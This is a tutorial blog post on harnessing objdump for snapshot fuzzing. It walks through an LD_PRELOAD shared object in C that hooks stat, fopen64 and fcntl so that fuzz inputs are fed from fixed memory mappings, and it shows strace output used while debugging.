For the purposes of this blogpost, we’re going to harness objdump to be snapshot fuzzed. This will serve our purposes because it’s relatively simple (single threaded, single process) and it’s a common fuzzing target, especially as people do development work on their fuzzers. The point of this is not to impress you by sandboxing some insane target like Chrome, but to show beginners how to start thinking about harnessing. You want to lobotomize your targets so that they are unrecognizable to their original selves but retain the same semantics. You can get as creative as you want, and honestly, sometimes harnessing targets is some of the most satisfying work related to fuzzing. It feels great to successfully sandbox a target and have it play nice with your fuzzer. On to it then.

Hello World

The first step is to determine how we want to change objdump’s behavior. Let’s try running it under strace and disassemble ls and see how it behaves at the syscall level with strace objdump -D /bin/ls. What we’re looking for is the point where objdump starts interacting with our input, /bin/ls in this case. In the output, if you scroll down past the boilerplate stuff, you can see the first appearance of /bin/ls:

stat("/bin/ls", {st_mode=S_IFREG|0755, st_size=133792, ...}) = 0
stat("/bin/ls", {st_mode=S_IFREG|0755, st_size=133792, ...}) = 0
openat(AT_FDCWD, "/bin/ls", O_RDONLY)   = 3
fcntl(3, F_GETFD)                       = 0
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0

Keep in mind that as you read through this, if you’re following along at home, your output might not match mine exactly. I’m likely on a different distribution than you running a different objdump than you. But the point of the blogpost is to just show concepts that you can be creative on your own.

I also noticed that the program doesn’t close our input file until the end of execution:

read(3, "\0\0\0\0\0\0\0\0\10\0\"\0\0\0\0\0\1\0\0\0\377\377\377\377\1\0\0\0\0\0\0\0"..., 4096) = 2720
write(1, ":(%rax)\n  21ffa4:\t00 00         "..., 4096) = 4096
write(1, "x0,%eax\n  220105:\t00 00         "..., 4096) = 4096
close(3)                                = 0
write(1, "023e:\t00 00                \tadd "..., 2190) = 2190
exit_group(0)                           = ?
+++ exited with 0 +++

This is good to know, we’ll need our harness to be able to emulate an input file fairly well since objdump doesn’t just read our file into a memory buffer in one shot or mmap() the input file. It is continuously reading from the file throughout the strace output.

Since we don’t have source code for the target, we’re going to affect behavior by using an LD_PRELOAD shared object. By using an LD_PRELOAD shared object, we should be able to hook the wrapper functions around the syscalls that interact with our input file and change their behavior to suit our purposes. If you are unfamiliar with dynamic linking or LD_PRELOAD, this would be a good stopping point to go Google around for more information great starting point. For starters, let’s just get a Hello, World! shared object loaded.

We can utilize gcc Function Attributes to have our shared object execute code when it is loaded by the target by leveraging the constructor attribute.

So our code so far will look like this:

/* 
Compiler flags: 
gcc -shared -Wall -Werror -fPIC blog_harness.c -o blog_harness.so -ldl
*/

#include <stdio.h> /* printf */

// Routine to be called when our shared object is loaded
__attribute__((constructor)) static void _hook_load(void) {
    printf("** LD_PRELOAD shared object loaded!\n");
}

I added the compiler flags needed to compile to the top of the file as a comment. I got these flags from this blogpost on using LD_PRELOAD shared objects a while ago: https://tbrindus.ca/correct-ld-preload-hooking-libc/.

We can now use the LD_PRELOAD environment variable and run objdump with our shared object which should print when loaded:

h0mbre@ubuntu:~/blogpost$ LD_PRELOAD=/home/h0mbre/blogpost/blog_harness.so objdump -D /bin/ls > /tmp/output.txt && head -n 20 /tmp/output.txt
**> LD_PRELOAD shared object loaded!

/bin/ls:     file format elf64-x86-64


Disassembly of section .interp:

0000000000000238 <.interp>:
 238:   2f                      (bad)  
 239:   6c                      ins    BYTE PTR es:[rdi],dx
 23a:   69 62 36 34 2f 6c 64    imul   esp,DWORD PTR [rdx+0x36],0x646c2f34
 241:   2d 6c 69 6e 75          sub    eax,0x756e696c
 246:   78 2d                   js     275 <_init@@Base-0x34e3>
 248:   78 38                   js     282 <_init@@Base-0x34d6>
 24a:   36 2d 36 34 2e 73       ss sub eax,0x732e3436
 250:   6f                      outs   dx,DWORD PTR ds:[rsi]
 251:   2e 32 00                xor    al,BYTE PTR cs:[rax]

Disassembly of section .note.ABI-tag:

It works, now we can start looking for functions to hook.

Looking for Hooks

First thing we need to do, is create a fake file name to give objdump so that we can start testing things out. We will copy /bin/ls into the current working directory and call it fuzzme. This will allow us to generically play around with the harness for testing purposes. Now we have our strace output, we know that objdump calls stat() on the path for our input file (/bin/ls) a couple of times before we get that call to openat(). Since we know our file hasn’t been opened yet, and the syscall uses the path for the first arg, we can guess that this syscall results from the libc exported wrapper function for stat() or lstat(). I’m going to assume stat() since we aren’t dealing with any symbolic links for /bin/ls on my box. We can add a hook for stat() to test to see if we hit it and check if it’s being called for our target input file (now changed to fuzzme).

In order to create a hook, we will follow a pattern where we define a pointer to the real function via a typedef and then we will initialize the pointer as NULL. Once we need to resolve the location of the real function we are hooking, we can use dlsym(RLTD_NEXT, <symbol name>) to get it’s location and change the pointer value to the real symbol address. (This will be more clear later on).

Now we need to hook stat() which appears as a man 3 entry here (meaning it’s a libc exported function) as well as a man 2 entry (meaning it is a syscall). This was confusing to me for the longest time and I often misunderstood how syscalls actually worked because of this insistence on naming collisions. You can read one of the first research blogposts I ever did here where the confusion is palpable and I often make erroneous claims. (PS, I’ll never edit the old blogposts with errors in them, they are like time capsules, and it’s kind of cool to me).

We want to write a function that when called, simply prints something and exits so that we know our hook was hit. For now, our code looks like this:

/* 
Compiler flags: 
gcc -shared -Wall -Werror -fPIC blog_harness.c -o blog_harness.so -ldl
*/

#include <stdio.h> /* printf */
#include <sys/stat.h> /* stat */
#include <stdlib.h> /* exit */

// Filename of the input file we're trying to emulate
#define FUZZ_TARGET "fuzzme"

// Declare a prototype for the real stat as a function pointer
typedef int (*stat_t)(const char *restrict path, struct stat *restrict buf);
stat_t real_stat = NULL;

// Hook function, objdump will call this stat instead of the real one
int stat(const char *restrict path, struct stat *restrict buf) {
    printf("** stat() hook!\n");
    exit(0);
}

// Routine to be called when our shared object is loaded
__attribute__((constructor)) static void _hook_load(void) {
    printf("** LD_PRELOAD shared object loaded!\n");
}

However, if we compile and run that, we don’t ever print and exit so our hook is not being called. Something is going wrong. Sometimes, file related functions in libc have 64 variants, such as open() and open64() that are used somewhat interchangably depending on configurations and flags. I tried hooking a stat64() but still had no luck with the hook being reached.

Luckily, I’m not the first person with this problem, there is a great answer on Stackoverflow about the very issue that describes how libc doesn’t actually export stat() the same way it does for other functions like open() and open64(), instead it exports a symbol called __xstat() which has a slightly different signature and requires a new argument called version which is meant to describe which version of stat struct the caller is expecting. This is supposed to all happen magically under the hood but that’s where we live now, so we have to make the magic happen ourselves. The same rules apply for lstat() and fstat() as well, they have __lxstat() and __fxstat() respectively.

I found the definitions for the functions here. So we can add the __xstat() hook to our shared object in place of the stat() and see if our luck changes. Our code now looks like this:

/* 
Compiler flags: 
gcc -shared -Wall -Werror -fPIC blog_harness.c -o blog_harness.so -ldl
*/

#include <stdio.h> /* printf */
#include <sys/stat.h> /* stat */
#include <stdlib.h> /* exit */
#include <unistd.h> /* __xstat, __fxstat */

// Filename of the input file we're trying to emulate
#define FUZZ_TARGET "fuzzme"

// Declare a prototype for the real stat as a function pointer
typedef int (*__xstat_t)(int __ver, const char *__filename, struct stat *__stat_buf);
__xstat_t real_xstat = NULL;

// Hook function, objdump will call this stat instead of the real one
int __xstat(int __ver, const char *__filename, struct stat *__stat_buf) {
    printf("** Hit our __xstat() hook!\n");
    exit(0);
}

// Routine to be called when our shared object is loaded
__attribute__((constructor)) static void _hook_load(void) {
    printf("** LD_PRELOAD shared object loaded!\n");
}

Now if we run our shared object, we get the desired outcome, somewhere, our hook is hit. Now we can help ourselves out a bit and print the filenames being requested by the hook and then actually call the real __xstat() on behalf of the caller. Now when our hook is hit, we will have to resolve the location of the real __xstat() by name, so we’ll add a symbol resolving function to our shared object. Our shared object code now looks like this:

/* 
Compiler flags: 
gcc -shared -Wall -Werror -fPIC blog_harness.c -o blog_harness.so -ldl
*/

#define _GNU_SOURCE     /* dlsym */
#include <stdio.h> /* printf */
#include <sys/stat.h> /* stat */
#include <stdlib.h> /* exit */
#include <unistd.h> /* __xstat, __fxstat */
#include <dlfcn.h> /* dlsym and friends */

// Filename of the input file we're trying to emulate
#define FUZZ_TARGET "fuzzme"

// Declare a prototype for the real stat as a function pointer
typedef int (*__xstat_t)(int __ver, const char *__filename, struct stat *__stat_buf);
__xstat_t real_xstat = NULL;

// Returns memory address of *next* location of symbol in library search order
static void *_resolve_symbol(const char *symbol) {
    // Clear previous errors
    dlerror();

    // Get symbol address
    void* addr = dlsym(RTLD_NEXT, symbol);

    // Check for error
    char* err = NULL;
    err = dlerror();
    if (err) {
        addr = NULL;
        printf("Err resolving '%s' addr: %s\n", symbol, err);
        exit(-1);
    }
    
    return addr;
}

// Hook function, objdump will call this stat instead of the real one
int __xstat(int __ver, const char *__filename, struct stat *__stat_buf) {
    // Print the filename requested
    printf("** __xstat() hook called for filename: '%s'\n", __filename);

    // Resolve the address of the real __xstat() on demand and only once
    if (!real_xstat) {
        real_xstat = _resolve_symbol("__xstat");
    }

    // Call the real __xstat() for the caller so everything keeps going
    return real_xstat(__ver, __filename, __stat_buf);
}

// Routine to be called when our shared object is loaded
__attribute__((constructor)) static void _hook_load(void) {
    printf("** LD_PRELOAD shared object loaded!\n");
}

Ok so now when we run this, and we check for our print statements, things get a little spicy.

h0mbre@ubuntu:~/blogpost$ LD_PRELOAD=/home/h0mbre/blogpost/blog_harness.so objdump -D fuzzme > /tmp/output.txt && grep "** __xstat" /tmp/output.txt
** __xstat() hook called for filename: 'fuzzme'
** __xstat() hook called for filename: 'fuzzme'

So now we can have some fun.

__xstat() Hook

So the purpose of this hook will be to lie to objdump and make it think it successfully stat() the input file. Remember, we’re making a snapshot fuzzing harness so our objective is to constantly be creating new inputs and feeding them to objdump through this harness. Most importantly, our harness will need to be able to represent our variable length inputs (which will be stored purely in memory) as files. Each fuzzcase, the file length can change and our harness needs to accomodate that.

My idea at this point was to create a somewhat “legit” stat struct that would normally be returned for our actual file fuzzme which is just a copy of /bin/ls. We can store this stat struct globally and only update the size field as each new fuzz case comes through. So the timeline of our snapshot fuzzing workflow would look something like:

1. Our constructor function is called when our shared object is loaded
2. Our constructor sets up a global “legit” stat struct that we can update for each fuzzcase and pass back to callers of __xstat() trying to stat() our fuzzing target
3. The imaginary fuzzer runs objdump to the snapshot location
4. Our __xstat() hook updates the the global “legit” stat struct size field and copies the stat struct into the caller’s buffer
5. The imaginary fuzzer restores the state of objdump to its state at snapshot time
6. The imaginary fuzzer copies a new input into harness and updates the input size
7. Our __xstat() hook is called once again, and we repeat step 4, this process occurs over and over forever.

So we’re imagining the fuzzer has some routine like this in pseudocode, even though it’d likely be cross-process and require process_vm_writev:

insert_fuzzcase(config.input_location, config.input_size_location, input, input_size) {
  memcpy(config.input_location, &input, input_size);
  memcpy(config.input_size_location, &input_size, sizeof(size_t));
}

One important thing to keep in mind is that if the snapshot fuzzer is restoring objdump to its snapshot state every fuzzing iteration, we must be careful not to depend on any global mutable memory. The global stat struct will be safe since it will be instantiated during the constructor however, its size-field will be restored to its original value each fuzzing iteration by the fuzzer’s snapshot restore routine.

We will also need a global, recognizable address to store variable mutable global data like the current input’s size. Several snapshot fuzzers have the flexibility to ignore contiguous ranges of memory for restoration purposes. So if we’re able to create some contiguous buffers in memory at recognizable addresses, we can have our imaginary fuzzer ignore those ranges for snapshot restorations. So we need to have a place to store the inputs, as well as information about their size. We would then somehow tell the fuzzer about these locations and when it generated a new input, it would copy it into the input location and then update the current input size information.

So now our constructor has an additional job: setup the input location as well as the input size information. We can do this easily with a call to mmap() which will allow us to specify an address we want our mapping mapped to with the MAP_FIXED flag. We’ll also create a MAX_INPUT_SZ definition so that we know how much memory to map from the input location.

Just by themselves, the functions related to mapping memory space for the inputs themselves and their size information looks like this. Notice that we use MAP_FIXED and we check the returned address from mmap() just to make sure the call didn’t succeed but map our memory at a different location:

// Map memory to hold our inputs in memory and information about their size
static void _create_mem_mappings(void) {
    void *result = NULL;

    // Map the page to hold the input size
    result = mmap(
        (void *)(INPUT_SZ_ADDR),
        sizeof(size_t),
        PROT_READ | PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
        0,
        0
    );
    if ((MAP_FAILED == result) || (result != (void *)INPUT_SZ_ADDR)) {
        printf("Err mapping INPUT_SZ_ADDR, mapped @ %p\n", result);
        exit(-1);
    }

    // Let's actually initialize the value at the input size location as well
    *(size_t *)INPUT_SZ_ADDR = 0;

    // Map the pages to hold the input contents
    result = mmap(
        (void *)(INPUT_ADDR),
        (size_t)(MAX_INPUT_SZ),
        PROT_READ | PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
        0,
        0
    );
    if ((MAP_FAILED == result) || (result != (void *)INPUT_ADDR)) {
        printf("Err mapping INPUT_ADDR, mapped @ %p\n", result);
        exit(-1);
    }

    // Init the value
    memset((void *)INPUT_ADDR, 0, (size_t)MAX_INPUT_SZ);
}

mmap() will actually map multiples of whatever the page size is on your system (typically 4096 bytes). So, when we ask for sizeof(size_t) bytes for the mapping, mmap() is like: “Hmm, that’s just a page dude” and gives us back a whole page from 0x1336000 - 0x1337000 not inclusive on the high-end.

Random sidenote, be careful about arithmetic in definitions and macros as I’ve done here with MAX_INPUT_SIZE, it’s very easy for the pre-processor to substitute your text for the definition keyword and ruin some order of operations or even overflow a specific primitive type like int.

Now that we have memory set up for the fuzzer to store inputs and information about the input’s size, we can create that global stat struct. But we actually have a big problem. How can we call into __xstat() to get our “legit” stat struct if we have __xstat() hooked? We would hit our own hook. To circumvent this, we can call __xstat() with a special __ver argument that we know will mean that it was called from our constructor, the variable is an int so let’s go with 0x1337 as the special value. That way, in our hook, if we check __ver and it’s 0x1337, we know we are being called from the constructor and we can actually stat our real file and create a global “legit” stat struct. When I dumped a normal call by objdump to __xstat() the __version was always a value of 1 so we will patch it back to that inside our hook. Now our entire shared object source file should look like this:

/* 
Compiler flags: 
gcc -shared -Wall -Werror -fPIC blog_harness.c -o blog_harness.so -ldl
*/

#define _GNU_SOURCE     /* dlsym */
#include <stdio.h> /* printf */
#include <sys/stat.h> /* stat */
#include <stdlib.h> /* exit */
#include <unistd.h> /* __xstat, __fxstat */
#include <dlfcn.h> /* dlsym and friends */
#include <sys/mman.h> /* mmap */
#include <string.h> /* memset */

// Filename of the input file we're trying to emulate
#define FUZZ_TARGET "fuzzme"

// Definitions for our in-memory inputs 
#define INPUT_SZ_ADDR   0x1336000
#define INPUT_ADDR      0x1337000
#define MAX_INPUT_SZ    (1024 * 1024)

// Our "legit" global stat struct
struct stat st;

// Declare a prototype for the real stat as a function pointer
typedef int (*__xstat_t)(int __ver, const char *__filename, struct stat *__stat_buf);
__xstat_t real_xstat = NULL;

// Returns memory address of *next* location of symbol in library search order
static void *_resolve_symbol(const char *symbol) {
    // Clear previous errors
    dlerror();

    // Get symbol address
    void* addr = dlsym(RTLD_NEXT, symbol);

    // Check for error
    char* err = NULL;
    err = dlerror();
    if (err) {
        addr = NULL;
        printf("Err resolving '%s' addr: %s\n", symbol, err);
        exit(-1);
    }
    
    return addr;
}

// Hook for __xstat 
int __xstat(int __ver, const char* __filename, struct stat* __stat_buf) {
    // Resolve the real __xstat() on demand and maybe multiple times!
    if (NULL == real_xstat) {
        real_xstat = _resolve_symbol("__xstat");
    }

    // Assume the worst, always
    int ret = -1;

    // Special __ver value check to see if we're calling from constructor
    if (0x1337 == __ver) {
        // Patch back up the version value before sending to real xstat
        __ver = 1;

        ret = real_xstat(__ver, __filename, __stat_buf);

        // Set the real_xstat back to NULL
        real_xstat = NULL;
        return ret;
    }

    // Determine if we're stat'ing our fuzzing target
    if (!strcmp(__filename, FUZZ_TARGET)) {
        // Update our global stat struct
        st.st_size = *(size_t *)INPUT_SZ_ADDR;

        // Send it back to the caller, skip syscall
        memcpy(__stat_buf, &st, sizeof(struct stat));
        ret = 0;
    }

    // Just a normal stat, send to real xstat
    else {
        ret = real_xstat(__ver, __filename, __stat_buf);
    }

    return ret;
}

// Map memory to hold our inputs in memory and information about their size
static void _create_mem_mappings(void) {
    void *result = NULL;

    // Map the page to hold the input size
    result = mmap(
        (void *)(INPUT_SZ_ADDR),
        sizeof(size_t),
        PROT_READ | PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
        0,
        0
    );
    if ((MAP_FAILED == result) || (result != (void *)INPUT_SZ_ADDR)) {
        printf("Err mapping INPUT_SZ_ADDR, mapped @ %p\n", result);
        exit(-1);
    }

    // Let's actually initialize the value at the input size location as well
    *(size_t *)INPUT_SZ_ADDR = 0;

    // Map the pages to hold the input contents
    result = mmap(
        (void *)(INPUT_ADDR),
        (size_t)(MAX_INPUT_SZ),
        PROT_READ | PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
        0,
        0
    );
    if ((MAP_FAILED == result) || (result != (void *)INPUT_ADDR)) {
        printf("Err mapping INPUT_ADDR, mapped @ %p\n", result);
        exit(-1);
    }

    // Init the value
    memset((void *)INPUT_ADDR, 0, (size_t)MAX_INPUT_SZ);
}

// Routine to be called when our shared object is loaded
__attribute__((constructor)) static void _hook_load(void) {
    // Create memory mappings to hold our input and information about its size
    _create_mem_mappings();    
}

Now if we run this, we get the following output:

h0mbre@ubuntu:~/blogpost$ LD_PRELOAD=/home/h0mbre/blogpost/blog_harness.so objdump -D fuzzme
objdump: Warning: 'fuzzme' is not an ordinary file

This is cool, this means that the objdump devs did something right and their stat() would say: “Hey, this file is zero bytes in length, something weird is going on” and they spit out this error message and exit. Good job devs!

So we have identified a problem, we need to simulate the fuzzer placing a real input into memory, to do that, I’m going to start using #ifdef to define whether or not we’re testing our shared object. So basically, if we compile the shared object and define TEST, our shared object will copy an “input” into memory to simulate how the fuzzer would behave during fuzzing and we can see if our harness is working appropriately. So if we define TEST, we will copy /bin/ed into memory, and we will update our global “legit” stat struct size member, and place the /bin/ed bytes into memory.

You can compile the shared object now to perform the test as follows:

gcc -D TEST -shared -Wall -Werror -fPIC blog_harness.c -o blog_harness.so -ld

We also need to set up our global “legit” stat struct, the code to do that should look as follows. Remember, we pass a fake __ver variable to let the __xstat() hook know that it’s us in the constructor routine, which allows the hook to behave well and give us the stat struct we need:

// Create a "legit" stat struct globally to pass to callers
static void _setup_stat_struct(void) {
    // Create a global stat struct for our file in case someone asks, this way
    // when someone calls stat() or fstat() on our target, we can just return the
    // slightly altered (new size) stat struct &skip the kernel, save syscalls
    int result = __xstat(0x1337, FUZZ_TARGET, &st);
    if (-1 == result) {
        printf("Error creating stat struct for '%s' during load\n", FUZZ_TARGET);
    }
}

All in all, our entire harness looks like this now:

/* 
Compiler flags: 
gcc -shared -Wall -Werror -fPIC blog_harness.c -o blog_harness.so -ldl
*/

#define _GNU_SOURCE     /* dlsym */
#include <stdio.h> /* printf */
#include <sys/stat.h> /* stat */
#include <stdlib.h> /* exit */
#include <unistd.h> /* __xstat, __fxstat */
#include <dlfcn.h> /* dlsym and friends */
#include <sys/mman.h> /* mmap */
#include <string.h> /* memset */
#include <fcntl.h> /* open */

// Filename of the input file we're trying to emulate
#define FUZZ_TARGET     "fuzzme"

// Definitions for our in-memory inputs 
#define INPUT_SZ_ADDR   0x1336000
#define INPUT_ADDR      0x1337000
#define MAX_INPUT_SZ    (1024 * 1024)

// For testing purposes, we read /bin/ed into our input buffer to simulate
// what the fuzzer would do
#define  TEST_FILE      "/bin/ed"

// Our "legit" global stat struct
struct stat st;

// Declare a prototype for the real stat as a function pointer
typedef int (*__xstat_t)(int __ver, const char *__filename, struct stat *__stat_buf);
__xstat_t real_xstat = NULL;

// Returns memory address of *next* location of symbol in library search order
static void *_resolve_symbol(const char *symbol) {
    // Clear previous errors
    dlerror();

    // Get symbol address
    void* addr = dlsym(RTLD_NEXT, symbol);

    // Check for error
    char* err = NULL;
    err = dlerror();
    if (err) {
        addr = NULL;
        printf("Err resolving '%s' addr: %s\n", symbol, err);
        exit(-1);
    }
    
    return addr;
}

// Hook for __xstat 
int __xstat(int __ver, const char* __filename, struct stat* __stat_buf) {
    // Resolve the real __xstat() on demand and maybe multiple times!
    if (!real_xstat) {
        real_xstat = _resolve_symbol("__xstat");
    }

    // Assume the worst, always
    int ret = -1;

    // Special __ver value check to see if we're calling from constructor
    if (0x1337 == __ver) {
        // Patch back up the version value before sending to real xstat
        __ver = 1;

        ret = real_xstat(__ver, __filename, __stat_buf);

        // Set the real_xstat back to NULL
        real_xstat = NULL;
        return ret;
    }

    // Determine if we're stat'ing our fuzzing target
    if (!strcmp(__filename, FUZZ_TARGET)) {
        // Update our global stat struct
        st.st_size = *(size_t *)INPUT_SZ_ADDR;

        // Send it back to the caller, skip syscall
        memcpy(__stat_buf, &st, sizeof(struct stat));
        ret = 0;
    }

    // Just a normal stat, send to real xstat
    else {
        ret = real_xstat(__ver, __filename, __stat_buf);
    }

    return ret;
}

// Map memory to hold our inputs in memory and information about their size
static void _create_mem_mappings(void) {
    void *result = NULL;

    // Map the page to hold the input size
    result = mmap(
        (void *)(INPUT_SZ_ADDR),
        sizeof(size_t),
        PROT_READ | PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
        0,
        0
    );
    if ((MAP_FAILED == result) || (result != (void *)INPUT_SZ_ADDR)) {
        printf("Err mapping INPUT_SZ_ADDR, mapped @ %p\n", result);
        exit(-1);
    }

    // Let's actually initialize the value at the input size location as well
    *(size_t *)INPUT_SZ_ADDR = 0;

    // Map the pages to hold the input contents
    result = mmap(
        (void *)(INPUT_ADDR),
        (size_t)(MAX_INPUT_SZ),
        PROT_READ | PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
        0,
        0
    );
    if ((MAP_FAILED == result) || (result != (void *)INPUT_ADDR)) {
        printf("Err mapping INPUT_ADDR, mapped @ %p\n", result);
        exit(-1);
    }

    // Init the value
    memset((void *)INPUT_ADDR, 0, (size_t)MAX_INPUT_SZ);
}

// Create a "legit" stat struct globally to pass to callers
static void _setup_stat_struct(void) {
    int result = __xstat(0x1337, FUZZ_TARGET, &st);
    if (-1 == result) {
        printf("Error creating stat struct for '%s' during load\n", FUZZ_TARGET);
    }
}

// Used for testing, load /bin/ed into the input buffer and update its size info
#ifdef TEST
static void _test_func(void) {    
    // Open TEST_FILE for reading
    int fd = open(TEST_FILE, O_RDONLY);
    if (-1 == fd) {
        printf("Failed to open '%s' during test\n", TEST_FILE);
        exit(-1);
    }

    // Attempt to read max input buf size
    ssize_t bytes = read(fd, (void*)INPUT_ADDR, (size_t)MAX_INPUT_SZ);
    close(fd);

    // Update the input size
    *(size_t *)INPUT_SZ_ADDR = (size_t)bytes;
}
#endif

// Routine to be called when our shared object is loaded
__attribute__((constructor)) static void _hook_load(void) {
    // Create memory mappings to hold our input and information about its size
    _create_mem_mappings();

    // Setup global "legit" stat struct
    _setup_stat_struct();

    // If we're testing, load /bin/ed up into our input buffer and update size
#ifdef TEST
    _test_func();
#endif
}

Now if we run this under strace, we notice that our two stat() calls are conspicuously missing.

close(3)                                = 0
openat(AT_FDCWD, "fuzzme", O_RDONLY)    = 3
fcntl(3, F_GETFD)                       = 0
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0

We no longer see the stat() calls before the openat() and the program does not break in any significant way. So this hook seems to be working appropriately. We now need to handle the openat() and make sure we don’t actually interact with our input file, but instead trick objdump to interact with our input in memory.

Finding a Way to Hook openat()

My non-expert intuition tells me theres probably a few ways in which a libc function could end up calling openat() under the hood. Those ways might include the wrappers open() as well as fopen(). We also need to be mindful of their 64 variants as well (open64(), fopen64()). I decided to try the fopen() hooks first:

// Declare prototype for the real fopen and its friend fopen64 
typedef FILE* (*fopen_t)(const char* pathname, const char* mode);
fopen_t real_fopen = NULL;

typedef FILE* (*fopen64_t)(const char* pathname, const char* mode);
fopen64_t real_fopen64 = NULL;

...

// Exploratory hooks to see if we're using fopen() related functions to open
// our input file
FILE* fopen(const char* pathname, const char* mode) {
    printf("** fopen() called for '%s'\n", pathname);
    exit(0);
}

FILE* fopen64(const char* pathname, const char* mode) {
    printf("** fopen64() called for '%s'\n", pathname);
    exit(0);
}

If we compile and run our exploratory hooks, we get the following output:

h0mbre@ubuntu:~/blogpost$ LD_PRELOAD=/home/h0mbre/blogpost/blog_harness.so objdump -D fuzzme
** fopen64() called for 'fuzzme'

Bingo, dino DNA.

So now we can flesh that hooked function out a bit to behave how we want.

Refining an fopen64() Hook

The definition for fopen64() is: ` FILE *fopen(const char *restrict pathname, const char *restrict mode);. The returned FILE * poses a slight problem to us because this is an opaque data structure that is not meant to be understood by the caller. Which is to say, the caller is not meant to access any members of this data structure or worry about its layout in any way. You're just supposed to use the returned FILE * as an object to pass to other functions, such as fclose()`. The system deals with the data structure there in those types of related functions so that programmers don’t have to worry about a specific implementation.

We don’t actually know how the returned FILE * will be used, it may not be used at all, or it may be passed to a function such as fread() so we need a way to return a convincing FILE * data structure to the caller that is actually built from our input in memory and NOT from the input file. Luckily, there is a libc function called fmemopen() which behaves very similarly to fopen() and also returns a FILE *. So we can go ahead and create a FILE * to return to callers of fopen64() with fuzzme as the target input file. Shoutout to @domenuk for showing me fmemopen(), I had never come across it before.

There is one key difference though. fopen() will actually obtain file descriptor for the underlying file and fmemopen(), since it is not actually openining a file, will not. So somewhere in the FILE * data structure, there is a file descriptor for the underlying file if returned from fopen() and there isn’t one if returned from fmemopen(). This is very important as functions such as int fileno(FILE *stream) can parse a FILE * and return its underlying file descriptor to the caller. Objdump may want to do this for some reason and we need to be able to robustly handle it. So we need a way to know if someone is trying to use our faked FILE * underlying file descriptor.

My idea for this was to simply find the struct member containing the file descriptor in the FILE * returned from fmemopen() and change it to be something ridiculous like 1337 so that if objdump ever tried to use that file descriptor we would know the source of it and could try to hook any interactions with the file descriptor. So now our fopen64() hook should look as follows:

// Our fopen hook, return a FILE* to the caller, also, if we are opening our
// target make sure we're not able to write to the file
FILE* fopen64(const char* pathname, const char* mode) {
    // Resolve symbol on demand and only once
    if (NULL == real_fopen64) {
        real_fopen64 = _resolve_symbol("fopen64");
    }

    // Check to see what file we're opening
    FILE* ret = NULL;
    if (!strcmp(FUZZ_TARGET, pathname)) {
        // We're trying to open our file, make sure it's a read-only mode
        if (strcmp(mode, "r")) {
            printf("Attempt to open fuzz-target in illegal mode: '%s'\n", mode);
            exit(-1);
        }

        // Open shared memory FILE* and return to caller
        ret = fmemopen((void*)INPUT_ADDR, *(size_t*)INPUT_SZ_ADDR, mode);
        
        // Make sure we've never fopen()'d our fuzzing target before
        if (faked_fp) {
            printf("Attempting to fopen64() fuzzing target more than once\n");
            exit(-1);
        }

        // Update faked_fp
        faked_fp = ret;

        // Change the filedes to something we know
        ret->_fileno = 1337;
    }

    // We're not opening our file, send to regular fopen
    else {
        ret = real_fopen64(pathname, mode);
    }

    // Return FILE stream ptr to caller
    return ret;
}

You can see we:

1. Resolve the symbol location if it hasn’t been yet
2. Check to see if we’re being called on our fuzzing target input file
3. Call fmemopen() and open the memory buffer where our current input is in memory along with the input’s size

You may also notice a few safety checks as well to make sure things don’t go unnoticed. We have a global variable that is FILE *faked_fp that we initialize to NULL which let’s us know if we’ve ever opened our input more than once (it wouldn’t be NULL anymore on subsequent attempts to open it).

We also do a check on the mode argument to make sure we’re getting a read-only FILE * back. We don’t want objdump to alter our input or write to it in any way and if it tries to, we need to know about it.

Running our shared object at this point nets us the following output:

h0mbre@ubuntu:~/blogpost$ LD_PRELOAD=/home/h0mbre/blogpost/blog_harness.so objdump -D fuzzme
objdump: fuzzme: Bad file descriptor

My spidey-sense is telling me something tried to interact with a file descriptor of 1337. Let’s run again under strace and see what happens.

h0mbre@ubuntu:~/blogpost$ strace -E LD_PRELOAD=/home/h0mbre/blogpost/blog_harness.so objdump -D fuzzme > /tmp/output.txt

In the output, we can see some syscalls to fcntl() and fstat() both being called with a file descriptor of 1337 which obviously doesn’t exist in our objdump process, so we’ve been able to find the problem.

fcntl(1337, F_GETFD)                    = -1 EBADF (Bad file descriptor)
prlimit64(0, RLIMIT_NOFILE, NULL, {rlim_cur=4*1024, rlim_max=4*1024}) = 0
fstat(1337, 0x7fff4bf54c90)             = -1 EBADF (Bad file descriptor)
fstat(1337, 0x7fff4bf54bf0)             = -1 EBADF (Bad file descriptor)

As we’ve already learned, there is no direct export in libc for fstat(), it’s one of those weird ones like stat() and we actually have to hook __fxstat(). So let’s try and hook that to see if it gets called for our 1337 file descriptor. The hook function will look like this to start:

// Declare prototype for the real __fxstat
typedef int (*__fxstat_t)(int __ver, int __filedesc, struct stat *__stat_buf);
__fxstat_t real_fxstat = NULL;

...

// Hook for __fxstat
int __fxstat (int __ver, int __filedesc, struct stat *__stat_buf) {
    printf("** __fxstat() called for __filedesc: %d\n", __filedesc);
    exit(0);
}

Now we also still have that fcntl() to deal with, luckily that hook is straightforward, if someone asks for the F_GETFD aka, the flags associated with that special 1337 file descriptor, we’ll simply return O_RDONLY as those were the flags it was “opened” with, and we’ll just panic for now if someone calls it for a different file descriptor. This hook looks like this:

// Declare prototype for the real __fcntl
typedef int (*fcntl_t)(int fildes, int cmd, ...);
fcntl_t real_fcntl = NULL;

...

// Hook for fcntl
int fcntl(int fildes, int cmd, ...) {
    // Resolve fcntl symbol if needed
    if (NULL == real_fcntl) {
        real_fcntl = _resolve_symbol("fcntl");
    }

    if (fildes == 1337) {
        return O_RDONLY;
    }

    else {
        printf("** fcntl() called for real file descriptor\n");
        exit(0);
    }
}

Running this under strace now, the fcntl() call is absent as we would expect:

openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=26376, ...}) = 0
mmap(NULL, 26376, PROT_READ, MAP_SHARED, 3, 0) = 0x7ff61d331000
close(3)                                = 0
prlimit64(0, RLIMIT_NOFILE, NULL, {rlim_cur=4*1024, rlim_max=4*1024}) = 0
fstat(1, {st_mode=S_IFREG|0664, st_size=0, ...}) = 0
